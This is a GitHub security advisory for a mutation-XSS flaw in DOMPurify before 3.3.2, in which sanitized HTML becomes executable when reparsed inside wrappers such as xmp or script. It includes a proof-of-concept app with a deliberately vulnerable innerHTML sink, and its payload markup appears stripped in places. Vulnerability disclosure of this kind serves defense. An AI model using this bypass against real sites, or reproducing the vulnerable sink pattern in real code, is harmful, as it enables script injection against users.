GitHub Advisoryadvisory · npm
GHSA-h8r8-wccr-v5f2 DOMPurify is vulnerable to mutation-XSS via Re-Contextualization
MEDIUM
Official page ↗
- Aliases
- CVE-2026-65914
- Ecosystem
- npm
- Packages
- dompurify
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-03-27
Affected packages
• npm dompurify: < 3.3.2 → fixed in 3.3.2
Description
Description
A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).
Vulnerability
The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... ` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).
PoC
1. Start the PoC app:
```bash
npm install
npm start
```
2. Open `http://localhost:3001`.
3. Set `Wrapper en sink` to `xmp`.
4. Use payload:
```html
">
```
5. Click `Sanitize + Render`.
6. Observe:
• `Sanitized response` still contains the `` sequence inside `alt`.
• The sink reparses to include ``.
• `alert('expoc')` is triggered.
7. Files:
• index.html
```html
expoc - DOMPurify SSR PoC
:root {
--bg: #f7f8fb;
--panel: #ffffff;
--line: #d8dce6;
--text: #0f172a;
--muted: #475569;
--accent: #0ea5e9;
}
• {
box-sizing: border-box;
}
body {
margin: 0;
font-family: "SF Mono", Menlo, Consolas, monospace;
color: var(--text);
background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
}
main {
max-width: 980px;
margin: 28px auto;
padding: 0 16px 20px;
}
h1 {
margin: 0 0 10px;
font-size: 1.45rem;
}
p {
margin: 0;
color: var(--muted);
}
.grid {
display: grid;
gap: 14px;
margin-top: 16px;
}
.card {
background: var(--panel);
border: 1px solid var(--line);
border-radius: 12px;
padding: 14px;
}
label {
display: block;
margin-bottom: 7px;
font-size: 0.85rem;
color: var(--muted);
}
textarea,
input,
select,
button {
width: 100%;
border: 1px solid var(--line);
border-radius: 8px;
padding: 9px 10px;
font: inherit;
background: #fff;
}
textarea {
min-height: 110px;
resize: vertical;
}
.row {
display: grid;
grid-template-columns: 1fr 230px;
gap: 12px;
}
button {
cursor: pointer;
background: var(--accent);
color: #fff;
border-color: #0284c7;
}
#sink {
min-height: 90px;
border: 1px dashed #94a3b8;
border-radius: 8px;
padding: 10px;
background: #f8fafc;
}
pre {
margin: 0;
white-space: pre-wrap;
word-break: break-word;
}
.note {
margin-top: 8px;
font-size: 0.85rem;
}
.status-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
gap: 8px;
margin-top: 10px;
}
.status-item {
border: 1px solid var(--line);
border-radius: 8px;
padding: 8px 10px;
font-size: 0.85rem;
background: #fff;
}
.status-item.vuln {
border-color: #ef4444;
background: #fef2f2;
}
.status-item.safe {
border-color: #22c55e;
background: #f0fdf4;
}
@media (max-width: 760px) {
.row {
grid-template-columns: 1fr;
}
}
expoc - DOMPurify Server-Side PoC
Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
Payload
">
Wrapper en sink
div
textarea
title
style
script
xmp
iframe
noembed
noframes
noscript
Sanitize + Render
Se usa render vulnerable: sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'.
script (vulnerable)
xmp (vulnerable)
iframe (vulnerable)
noembed (vulnerable)
noframes (vulnerable)
noscript (vulnerable)
div (no vulnerable)
textarea (no vulnerable)
title (no vulnerable)
style (no vulnerable)
Sanitized response
(empty)
Sink
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');
run.addEventListener('click', async () => {
const response = await fetch('/sanitize', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ input: payload.value })
});
const data = await response.json();
const sanitized = data.sanitized || '';
const w = wrapper.value;
sanitizedNode.textContent = sanitized;
sink.innerHTML = '' + sanitized + '';
});
```
• server.js
```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
co…
Related
Alias · CVE (1)
- CVE-2026-65914 DOMPurify before 3.3.2 contains a mutation-XSS vulnerability when sanitized HTML is reinserted into special parsing contexts using… vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness